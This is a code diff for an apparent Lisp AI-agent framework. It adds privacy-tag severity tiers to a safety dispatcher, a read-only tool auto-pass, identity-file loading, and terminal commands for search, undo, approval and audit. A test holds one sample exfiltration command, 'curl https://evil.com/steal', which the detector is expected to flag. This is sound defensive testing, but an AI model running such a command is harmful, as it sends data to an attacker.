+                      (let ((parts (uiop:split-string entry :separator '(#\:))))
+                        (if (>= (length parts) 2)
+                            (cons (first parts) (intern (string-upcase (second parts)) :keyword))
+                            (cons entry :block))))
+                    (uiop:split-string raw :separator '(#\, #\;)))))))
+
+(defun tag-category-severity (tag)
+  "Return the severity keyword for TAG, or NIL if not found."
+  (cdr (assoc tag *tag-categories* :test #'string-equal)))
+
+(defun dispatcher-privacy-severity (tags-list)
+  "Return the highest-severity tag match: :block > :warn > :log, or nil.
+Records trigger counts for matched tags."
+  (when (and tags-list (listp tags-list))
+    (let ((highest nil))
+      (dolist (tag tags-list)
+        (let ((sev (tag-category-severity tag)))
+          (when sev
+            (tag-trigger-record tag))
+          (when (or (eq sev :block)
+                    (and (eq sev :warn) (not (eq highest :block)))
+                    (and (eq sev :log) (null highest)))
+            (setf highest sev))))
+      highest)))
+
+(tag-categories-load)
+
 (defun dispatcher-check-text-for-privacy (text)
   "Scans TEXT for leaked privacy-tagged content."
   (when (and text (stringp text))
@@ -214,7 +259,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
   (declare (ignore context))
-  (let* ((target (proto-get action :target))
+  (let* ((read-only-auto-pass
+          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
+            (when (and tool-name (tool-read-only-p tool-name))
+              (return-from dispatcher-check action))))
+         (target (proto-get action :target))
          (payload (proto-get action :payload))
          (text (or (proto-get payload :text) (proto-get action :text)))
          (filepath (or (proto-get payload :filepath)
@@ -280,12 +329,21 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
                :payload (list :level :error
                               :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
 
-      ;; Vector 5: Privacy-tagged content in action
-      ((and tags (dispatcher-check-privacy-tags tags))
-       (log-message "PRIVACY VIOLATION: Action contains privacy-tagged content")
-       (list :type :LOG
-             :payload (list :level :warn
-                            :text "Action blocked: Content tagged with privacy filter.")))
+       ;; Vector 5: Privacy-tagged content (severity tiers)
+       ((and tags (fboundp 'dispatcher-privacy-severity))
+        (let ((severity (dispatcher-privacy-severity tags)))
+          (cond
+            ((eq severity :block)
+             (log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
+             (list :type :LOG
+                   :payload (list :level :error
+                                  :text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
+            ((eq severity :warn)
+             (log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
+             action)
+            ((eq severity :log)
+             (log-message "PRIVACY: @tag ~a (logged)" tags)
+             action))))
 
       ;; Vector 6: Text leaks privacy tag names
       ((and text (dispatcher-check-text-for-privacy text))
@@ -524,3 +582,99 @@ Recognized formats:
   (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
   (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
   (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+;; ── v0.7.2 Tag Stack ──
+
+(test test-tag-categories-load
+  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
+  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
+  (passepartout::tag-categories-load)
+  (let ((cats passepartout::*tag-categories*))
+    (is (>= (length cats) 1))
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :warn (passepartout::tag-category-severity "@draft")))
+    (is (eq :log (passepartout::tag-category-severity "@review"))))
+  (setf (uiop:getenv "TAG_CATEGORIES") nil))
+
+(test test-tag-category-severity-unknown
+  "Contract v0.7.2: unknown tag returns nil."
+  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
+
+(test test-privacy-severity-block
+  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
+  (setf passepartout::*tag-categories* '(("@personal" . :block)))
+  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
+
+(test test-privacy-severity-warn
+  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
+  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
+  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
+
+(test test-privacy-severity-nil
+  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
+  (setf passepartout::*tag-categories* nil)
+  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
+
+(test test-tag-trigger-record
+  "v0.7.2: tag-trigger-record increments per-tag count."
+  (clrhash passepartout::*tag-trigger-count*)
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@draft")
+  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
+  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
+  (clrhash passepartout::*tag-trigger-count*))
+
+(test test-tag-categories-privacy-fallback
+  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
+  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
+        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
+        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
+        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
+    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
+    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
+    (sb-posix:unsetenv "TAG_CATEGORIES")
+    (passepartout::tag-categories-load)
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :block (passepartout::tag-category-severity "@draft")))
+    ;; Restore
+    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
+    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
+    (passepartout::tag-categories-load)))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "write-file"
+                                          :description "File writer"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p nil))
+  (unwind-protect
+       (progn
+         (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+         (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                          :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                (result (dispatcher-check action nil)))
+           (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+           (is (eq :approval-required (getf result :level)))
+           (is (search "HITL" (getf (getf result :payload) :message)))))
+    (remhash "write-file" passepartout::*cognitive-tool-registry*)))

lisp/symbolic-identity.lisp

@@ -0,0 +1,92 @@
+(in-package :passepartout)
+
+(defvar *agent-identity* ""
+  "Identity text loaded from ~/memex/IDENTITY.org at startup.
+
+This variable holds the contents of the user's identity file.
+Loaded by `load-identity-file` at daemon/skill initialization,
+called from `agent-identity` for system prompt injection.
+
+The file is user-editable and persists across restarts.
+If the file is missing or empty, this variable remains \"\".")
+
+(defun load-identity-file (&optional (path nil path-p))
+  "Load agent identity from an org file.
+
+Reads the identity text file and caches it in
+`*agent-identity*`.  If PATH is not provided, defaults to
+`~/memex/IDENTITY.org`.
+
+Returns the file content string on success, or NIL if the file
+does not exist or cannot be read."
+  (let* ((file-path (if path-p
+                        (uiop:ensure-pathname path :ensure-absolute t)
+                        (merge-pathnames "memex/IDENTITY.org"
+                                         (user-homedir-pathname)))))
+    (when (uiop:file-exists-p file-path)
+      (handler-case
+          (let ((content (uiop:read-file-string file-path)))
+            (setf *agent-identity* content)
+            content)
+        (error () nil)))))
+
+(defun agent-identity ()
+  "Return the currently loaded agent identity string."
+  (or *agent-identity* ""))
+
+;; Auto-load identity at skill init
+(load-identity-file)
+
+(defpackage :passepartout-identity-tests
+  (:use :common-lisp :fiveam :passepartout)
+  (:export :identity-suite))
+
+(in-package :passepartout-identity-tests)
+
+(def-suite identity-suite
+    :description "Agent identity loading and caching")
+(in-suite identity-suite)
+
+(test test-load-identity-file-returns-content
+  "Contract 1: load-identity-file reads an existing file, returns content."
+  (let* ((path "/tmp/memex-test-identity.org")
+         (content "### Personality
+- Friendly
+- Concise"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (let ((result (passepartout::load-identity-file path)))
+           (is (stringp result))
+           (is (search "Friendly" result))
+           (is (search "Concise" result)))
+      (ignore-errors (delete-file path)))))
+
+(test test-load-identity-file-missing-nil
+  "Contract 1: nil when file does not exist."
+  (let ((result (passepartout::load-identity-file
+                 "/tmp/memex-nonexistent-xxxx.org")))
+    (is (null result))))
+
+(test test-agent-identity-cached
+  "Contract 2+3: agent-identity returns cached value after load."
+  (let* ((path "/tmp/memex-test-identity2.org")
+         (content "### Preferences
+- Use shell cautiously"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (progn
+           (passepartout::load-identity-file path)
+           (let ((id (passepartout::agent-identity)))
+             (is (search "shell cautiously" id))))
+      (ignore-errors (delete-file path)))))
+
+(test test-agent-identity-empty-default
+  "Contract 2: returns empty string when nothing was loaded."
+  (let ((prev passepartout::*agent-identity*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*agent-identity* nil)
+           (is (string= "" (passepartout::agent-identity))))
+      (setf passepartout::*agent-identity* prev))))

lisp/token-economics.lisp

@@ -6,16 +6,16 @@
 (defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "")
   "Context assembly cache: metadata + last rendered context string.")
 
-(defun prompt-prefix-cached (assistant-name feedback mandates-text tool-belt)
+(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt)
   "Build the static IDENTITY+TOOLS system prompt prefix.
 Uses sxhash on inputs to detect changes; returns cached string on cache hit."
-  (let* ((hash-key (sxhash (list assistant-name feedback mandates-text tool-belt)))
+  (let* ((hash-key (sxhash (list assistant-name identity-content feedback mandates-text tool-belt)))
          (cached-hash (car *prompt-prefix-cache*))
          (cached-str (cdr *prompt-prefix-cache*)))
     (if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash))
         cached-str
-        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~%~%TOOLS:~%~a"
-                                  assistant-name feedback
+        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a"
+                                  assistant-name identity-content feedback
                                   (if (and mandates-text (> (length mandates-text) 0))
                                       (concatenate 'string (string #\Newline) mandates-text)
                                       "")
@@ -115,11 +115,22 @@ with trimmed sections."
     :description "Prompt prefix caching, incremental context, token budget")
 (in-suite token-economics-suite)
 
+(test test-prompt-prefix-cached-identity
+  "Contract 1: prompt-prefix-cached includes identity-content when provided."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached
+                 "Agent" "### Mode: concise" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "Mode: concise" prefix))
+    (is (search "TOOLS" prefix))))
+
 (test test-prompt-prefix-cached-builds
   "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
     (is (stringp prefix))
     (is (search "IDENTITY" prefix))
     (is (search "TOOLS" prefix))))
@@ -128,16 +139,16 @@ with trimmed sections."
   "Contract 1: second call with same inputs returns cached result."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
     (is (string= p1 p2))))
 
 (test test-prompt-prefix-cached-miss
   "Contract 1: different inputs rebuild the cache."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Bot" "" nil "No tools")))
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
     (is (not (string= p1 p2)))
     (is (search "Bot" p2))))
 

org/channel-tui-main.org

@@ -45,20 +45,57 @@ Event handlers + daemon I/O + main loop.
                    (or name raw))
                  raw)))
     (cond
-       ;; v0.7.1: Esc — interrupt streaming
-       ((and (eql ch 27) (st :streaming-text))
-        (send-daemon (list :type :event :payload '(:action :cancel-stream)))
-        (when (> (length (st :messages)) 0)
-          (let ((idx (1- (length (st :messages)))))
-            (setf (getf (aref (st :messages) idx) :content)
-                  (concatenate 'string
-                               (getf (aref (st :messages) idx) :content)
-                               " [interrupted]"))
-            (setf (getf (aref (st :messages) idx) :streaming) nil)
-            (setf (getf (aref (st :messages) idx) :time) (now))))
-        (setf (st :streaming-text) nil)
-        (setf (st :busy) nil)
-        (setf (st :dirty) (list t t nil)))
+        ;; v0.7.1: Esc — interrupt streaming
+        ((and (eql ch 27) (st :streaming-text))
+         (send-daemon (list :type :event :payload '(:action :cancel-stream)))
+         (when (> (length (st :messages)) 0)
+           (let ((idx (1- (length (st :messages)))))
+             (setf (getf (aref (st :messages) idx) :content)
+                   (concatenate 'string
+                                (getf (aref (st :messages) idx) :content)
+                                " [interrupted]"))
+             (setf (getf (aref (st :messages) idx) :streaming) nil)
+             (setf (getf (aref (st :messages) idx) :time) (now))))
+         (setf (st :streaming-text) nil)
+         (setf (st :busy) nil)
+         (setf (st :dirty) (list t t nil)))
+        ;; v0.7.2: Esc — exit search mode
+        ((and (eql ch 27) (st :search-mode))
+         (setf (st :search-mode) nil
+               (st :search-matches) nil
+               (st :search-query) "")
+         (setf (st :dirty) (list nil t nil))
+         (add-msg :system "Search exited"))
+        ;; v0.7.2: search mode — Up/Down navigate matches
+        ((and (st :search-mode) (or (eql ch 259) (eq ch :up)))
+         (let* ((matches (st :search-matches))
+                (idx (st :search-match-idx))
+                (new-idx (max 0 (1- idx))))
+           (setf (st :search-match-idx) new-idx)
+           (when matches
+             (setf (st :scroll-offset) (nth new-idx matches))
+             (add-msg :system (format nil "Match ~d/~d" (1+ new-idx) (length matches)))
+             (setf (st :dirty) (list nil t nil)))))
+        ((and (st :search-mode) (or (eql ch 258) (eq ch :down)))
+         (let* ((matches (st :search-matches))
+                (idx (st :search-match-idx))
+                (new-idx (min (1- (length matches)) (1+ idx))))
+           (setf (st :search-match-idx) new-idx)
+           (when matches
+             (setf (st :scroll-offset) (nth new-idx matches))
+             (add-msg :system (format nil "Match ~d/~d" (1+ new-idx) (length matches)))
+             (setf (st :dirty) (list nil t nil)))))
+        ;; v0.7.2: search mode — Enter jumps to current match
+        ((and (st :search-mode) (or (eql ch 13) (eql ch 10) (eq ch :enter)))
+         (let ((matches (st :search-matches))
+               (idx (st :search-match-idx)))
+           (when (and matches (>= (length matches) (1+ idx)))
+             (setf (st :scroll-offset) (nth idx matches))
+             (setf (st :search-mode) nil
+                   (st :search-matches) nil
+                   (st :search-query) "")
+             (add-msg :system (format nil "Jumped to match ~d" (1+ idx)))
+             (setf (st :dirty) (list nil t nil)))))
        ;; v0.7.1: Tab on empty input — extract then open URL from agent message
        ((and (or (eql ch 9) (eq ch :tab))
               (null (st :input-buffer)))
@@ -104,10 +141,28 @@ Event handlers + daemon I/O + main loop.
        (setf (st :cursor-pos) (length (st :input-buffer))))
       ((eql ch 12) ; Ctrl+L — redraw
        (setf (st :dirty) (list t t t)))
-      ((eql ch 4)  ; Ctrl+D — quit on empty
-       (when (or (null (st :input-buffer)) (string= "" (input-string)))
-         (add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))
-      ((eql ch 24) ; Ctrl+X prefix
+       ((eql ch 4)  ; Ctrl+D — quit on empty
+        (when (or (null (st :input-buffer)) (string= "" (input-string)))
+          (add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))
+       ((eql ch 6)  ; v0.7.2 Ctrl+F — message search
+        (add-msg :system "Use /search <query> to find messages"))
+       ((eql ch 7)  ; v0.7.2 Ctrl+G — toggle gate trace collapse
+        (let ((gate-idx nil))
+          (loop for i from (1- (length (st :messages))) downto 0
+                for m = (aref (st :messages) i)
+                when (and (getf m :gate-trace) (listp (getf m :gate-trace)))
+                do (setf gate-idx i) (loop-finish))
+          (if gate-idx
+              (let ((cg (st :collapsed-gates)))
+                (if (member gate-idx cg)
+                    (setf (st :collapsed-gates) (remove gate-idx cg))
+                    (push gate-idx (st :collapsed-gates)))
+                (add-msg :system (format nil "Gate trace ~a for msg ~a"
+                                        (if (member gate-idx (st :collapsed-gates)) "hidden" "shown")
+                                        gate-idx))
+                (setf (st :dirty) (list nil t nil)))
+              (add-msg :system "No gate trace to toggle"))))
+       ((eql ch 24) ; Ctrl+X prefix
        (setf (st :pending-ctrl-x) t))
       ((and (st :pending-ctrl-x) (eql ch 5)) ; Ctrl+X+E — editor
        (setf (st :pending-ctrl-x) nil)
@@ -131,22 +186,248 @@ Event handlers + daemon I/O + main loop.
                 (setf (st :input-hpos) 0)
                 (setf (st :scroll-offset) 0)
                 (cond
+                  ;; v0.7.2: undo/redo
+                  ((string-equal text "/undo")
+                   (send-daemon (list :type :event :payload (list :sensor :undo)))
+                   (add-msg :system "Undo: restoring memory to previous state"))
+                  ((string-equal text "/redo")
+                   (send-daemon (list :type :event :payload (list :sensor :redo)))
+                   (add-msg :system "Redo: restoring memory"))
                   ;; /help command
+                  ((and (>= (length text) 9)
+                        (string-equal (subseq text 0 9) "/approve "))
+                    (let ((token (string-trim '(#\Space) (subseq text 9))))
+                      (send-daemon (list :type :event :payload
+                                         (list :action :hitl-respond :token token :decision :approved)))
+                      (add-msg :system (format nil "✓ Approved: ~a" token))
+                      (resolve-hitl-panel :approved)))
+                  ((and (>= (length text) 6)
+                        (string-equal (subseq text 0 6) "/deny "))
+                    (let ((token (string-trim '(#\Space) (subseq text 6))))
+                      (send-daemon (list :type :event :payload
+                                         (list :action :hitl-respond :token token :decision :denied)))
+                      (add-msg :system (format nil "✗ Denied: ~a" token))
+                      (resolve-hitl-panel :denied)))
+                  ;; /help command
+                  ;; /why command — show last gate trace
+                  ((string-equal text "/why")
+                   (let ((msgs (st :messages))
+                         (found nil))
+                     (loop for i from (1- (length msgs)) downto 0
+                           for m = (aref msgs i)
+                           for gt = (getf m :gate-trace)
+                           when (and gt (listp gt) (> (length gt) 0))
+                           do (setf found t)
+                              (dolist (entry gt)
+                                (let* ((gate (getf entry :gate))
+                                       (result (getf entry :result))
+                                       (reason (getf entry :reason))
+                                       (msg (format nil "~a ~a~@[ — ~a~]"
+                                                    (case result (:passed "[PASS]") (:blocked "[BLOCKED]") (:approval "[HITL]"))
+                                                    (or gate "unknown")
+                                                    reason)))
+                                  (add-msg :system msg)))
+                              (loop-finish))
+                         (unless found
+                           (add-msg :system "No recent gate trace. Run a tool to see gate decisions."))))
+                  ;; /identity command — edit and reload identity file
+                  ((string-equal text "/identity")
+                   (let* ((editor (or (uiop:getenv "EDITOR") "emacs"))
+                          (path (merge-pathnames "memex/IDENTITY.org" (user-homedir-pathname))))
+                     (add-msg :system (format nil "Opening ~a in ~a..." (namestring path) editor))
+                     (uiop:run-program (list editor (namestring path)) :output t :error-output t)
+                     (when (fboundp 'load-identity-file)
+                       (funcall 'load-identity-file))
+                     (add-msg :system "Identity reloaded")))
+                  ;; /audit command — Merkle provenance
+                  ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/audit "))
+                   (if (fboundp 'audit-node)
+                       (let* ((node-id (string-trim '(#\Space) (subseq text 7)))
+                              (info (funcall 'audit-node node-id)))
+                         (if info
+                             (add-msg :system (format nil "Node ~a: type=~a scope=~a hash=~a"
+                                                     (getf info :id) (getf info :type)
+                                                     (getf info :scope)
+                                                     (subseq (or (getf info :hash) "(none)") 0 16)))
+                             (add-msg :system (format nil "Node ~a not found" node-id))))
+                       (add-msg :system "Memory audit not available")))
+                  ;; /tags command — tag stack with trigger counts
+                  ((string-equal text "/tags")
+                   (let ((cats passepartout::*tag-categories*)
+                         (counts passepartout::*tag-trigger-count*))
+                     (if cats
+                         (dolist (entry cats)
+                           (let* ((tag (car entry))
+                                  (sev (cdr entry))
+                                  (n (gethash (string-downcase tag) counts 0)))
+                             (add-msg :system (format nil "~a: ~a (~d trigger~:p this session)" tag sev n))))
+                         (add-msg :system "No tags configured. Set TAG_CATEGORIES env var."))))
+                   ;; /context command — section breakdown with token estimates
+                   ((string-equal text "/context")
+                    (let* ((msg-count (length (st :messages)))
+                           (focus (or (st :foveal-id) "none"))
+                           (id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4)))
+                           (tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*)
+                                           (floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4)
+                                           50))
+                           (log-tokens (min 4000 (floor (* msg-count 60) 4)))
+                           ;; rough estimate: TIME, CONTEXT overhead
+                           (overhead-tokens 200)
+                           (total-est (+ id-tokens tool-tokens log-tokens overhead-tokens))
+                           (total-limit 8192)
+                           (pct-used (floor (* 100 total-est) total-limit))
+                           (bar (make-string (min 10 (max 1 (floor (/ (min total-est total-limit) total-limit) 10)))
+                                            :initial-element #\#)))
+                      (add-msg :system (format nil "╔══ Context Budget ~a/~a tokens (~d%) ══╗" total-est total-limit pct-used))
+                      (add-msg :system (format nil "IDENTITY      ~5d tokens" id-tokens))
+                      (add-msg :system (format nil "TOOLS         ~5d tokens" tool-tokens))
+                      (add-msg :system (format nil "TIME+CONFIG   ~5d tokens" overhead-tokens))
+                      (add-msg :system (format nil "LOGS          ~5d tokens (~d msgs)" log-tokens msg-count))
+                      (add-msg :system (format nil "  [~a~a] ~d%"
+                                              bar (make-string (- 10 (length bar)) :initial-element #\Space) pct-used))
+                      (when (> pct-used 80)
+                        (add-msg :system "⚠ Context near limit — older messages may be dropped"))))
+                  ;; /context why <id> — debug node with full attributes
+                  ((and (>= (length text) 13) (string-equal (subseq text 0 13) "/context why "))
+                   (let ((node-id (string-trim '(#\Space) (subseq text 13))))
+                     (if (fboundp 'passepartout::memory-object-get)
+                         (let ((obj (funcall 'passepartout::memory-object-get node-id)))
+                           (if obj
+                               (let ((attrs (passepartout::memory-object-attributes obj))
+                                     (parent (passepartout::memory-object-parent-id obj))
+                                     (children (passepartout::memory-object-children obj))
+                                     (hash (or (passepartout::memory-object-hash obj) "(none)")))
+                                 (add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a"
+                                                         node-id
+                                                         (passepartout::memory-object-type obj)
+                                                         (passepartout::memory-object-scope obj)
+                                                         (passepartout::memory-object-version obj)))
+                                 (when parent
+                                   (add-msg :system (format nil "  parent: ~a" parent)))
+                                 (when children
+                                   (add-msg :system (format nil "  children: ~d" (length children))))
+                                 (add-msg :system (format nil "  hash: ~a" (subseq hash 0 (min 32 (length hash)))))
+                                 (when attrs
+                                   (add-msg :system (format nil "  title: ~a" (or (getf attrs :TITLE) "(none)")))))
+                               (add-msg :system (format nil "Node ~a not found in memory" node-id))))
+                         (add-msg :system "Memory not available"))))
+                  ;; /context dropped — estimate pruned nodes from budget
+                  ((string-equal text "/context dropped")
+                   (let* ((msg-count (length (st :messages)))
+                          (est-total (* msg-count 60))
+                          (budget 8192)
+                          (dropped-msgs (if (> est-total budget)
+                                           (floor (- est-total budget) 60)
+                                           0)))
+                     (if (> dropped-msgs 0)
+                         (add-msg :system (format nil "Estimate: ~d messages (~d tokens) may be pruned at budget ~d tokens (~d% used)"
+                                                 dropped-msgs (- est-total budget) budget
+                                                 (floor (* 100 est-total) budget)))
+                         (add-msg :system (format nil "Within budget: ~d tokens used of ~d tokens (~d%)"
+                                                 est-total budget (floor (* 100 est-total) budget))))))
+                   ;; /search command — message search
+                   ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/search "))
+                    (let* ((query (string-downcase (string-trim '(#\Space) (subseq text 8))))
+                           (msgs (st :messages))
+                           (total (length msgs))
+                           (matches nil))
+                      (loop for i from 0 below total
+                            for m = (aref msgs i)
+                            for content = (getf m :content)
+                            when (search query (string-downcase content))
+                            do (push i matches))
+                      (setf matches (nreverse matches))
+                      ;; Enter search mode
+                      (setf (st :search-mode) t
+                            (st :search-query) query
+                            (st :search-matches) matches
+                            (st :search-match-idx) 0)
+                      (if matches
+                          (add-msg :system (format nil "Search: ~d matches for '~a' (1/~d) — Up/Down nav, Enter jump, Esc exit"
+                                                  (length matches) query (length matches)))
+                          (add-msg :system (format nil "0 matches for '~a'" query)))))
+                  ;; /rewind command — session rewind
+                  ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/rewind "))
+                   (let* ((n-str (string-trim '(#\Space) (subseq text 8)))
+                          (n (handler-case (parse-integer n-str) (error () nil))))
+                     (if n
+                         (if (fboundp 'passepartout::rollback-memory)
+                             (let* ((idx (1- n))
+                                    (snaps passepartout::*memory-snapshots*)
+                                    (ts (when (< idx (length snaps))
+                                          (getf (nth idx snaps) :timestamp))))
+                               (funcall 'passepartout::rollback-memory idx)
+                               (add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts)))
+                             (add-msg :system "Memory rollback not available"))
+                         (add-msg :system "Usage: /rewind <number>"))))
+                  ;; /sessions command — list snapshots
+                  ((string-equal text "/sessions")
+                   (let ((snaps passepartout::*memory-snapshots*))
+                     (if snaps
+                         (let ((shown (subseq snaps 0 (min 10 (length snaps)))))
+                           (add-msg :system (format nil "~d snapshots (showing ~d):" 
+                                                   (length snaps) (length shown)))
+                           (loop for s in shown
+                                 for i from 0
+                                 for ts = (getf s :timestamp)
+                                 for data = (getf s :data)
+                                 for size = (hash-table-size data)
+                                 do (add-msg :system (format nil "  #~d: ~a objects, timestamp ~d"
+                                                             (1+ i) size ts))))
+                          (add-msg :system "No snapshots available"))))
+                  ;; /audit verify — memory integrity
+                  ((string-equal text "/audit verify")
+                   (if (fboundp 'passepartout::audit-verify-hash)
+                       (let* ((result (funcall 'passepartout::audit-verify-hash))
+                              (total (car result))
+                              (missing (cdr result)))
+                         (add-msg :system (format nil "Audit: ~d objects, ~d missing hashes, ~d snapshots~@[ — VERIFY PASS~]~@[ — ~d MISSING HASHES~]"
+                                                 total missing
+                                                 (length passepartout::*memory-snapshots*)
+                                                 (zerop missing)
+                                                 (unless (zerop missing) missing))))
+                       (add-msg :system "Memory audit not available")))
+                  ;; /resume <n> — resume from snapshot
+                  ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume "))
+                   (let* ((n-str (string-trim '(#\Space) (subseq text 8)))
+                          (n (handler-case (parse-integer n-str) (error () nil))))
+                     (if n
+                         (if (fboundp 'passepartout::rollback-memory)
+                             (progn (funcall 'passepartout::rollback-memory (1- n))
+                                    (add-msg :system (format nil "Resumed from snapshot ~d" n)))
+                             (add-msg :system "Memory rollback not available"))
+                         (add-msg :system "Usage: /resume <number>"))))
+                  ;; /help <topic> — search user manual
+                  ((and (>= (length text) 6) (string-equal (subseq text 0 6) "/help "))
+                   (let ((topic (string-trim '(#\Space) (subseq text 6)))
+                         (sections (self-help-lookup (string-trim '(#\Space) (subseq text 6)))))
+                     (if sections
+                         (dolist (entry sections)
+                           (let* ((title (car entry))
+                                  (content (cdr entry))
+                                  (preview (if (> (length content) 300)
+                                              (concatenate 'string (subseq content 0 297) "...")
+                                              content)))
+                             (add-msg :system (format nil "~a: ~a" title preview))))
+                         (add-msg :system (format nil "No manual section found for '~a'" topic)))))
                   ((string-equal text "/help")
-                   (add-msg :system
-                    "/eval <expr>   Evaluate Lisp expression")
-                   (add-msg :system
-                    "/focus <proj>  Set project context")
-                   (add-msg :system
-                    "/scope <s>     Change scope (memex/session/project)")
-                   (add-msg :system
-                    "/unfocus       Pop context stack")
-                   (add-msg :system
-                    "/theme         Show current color theme")
-                   (add-msg :system
-                    "/help          Show this help")
-                   (add-msg :system
-                    "\\ + Enter      Multi-line input"))
+                   (add-msg :system "/eval <expr>   Evaluate Lisp")
+                   (add-msg :system "/undo          Undo last operation")
+                   (add-msg :system "/redo          Redo last operation")
+                   (add-msg :system "/why           Show last gate trace")
+                   (add-msg :system "/identity      Edit IDENTITY.org")
+                   (add-msg :system "/tags          List tag severities")
+                   (add-msg :system "/audit <id>    Inspect memory object")
+                   (add-msg :system "/search <q>    Search messages")
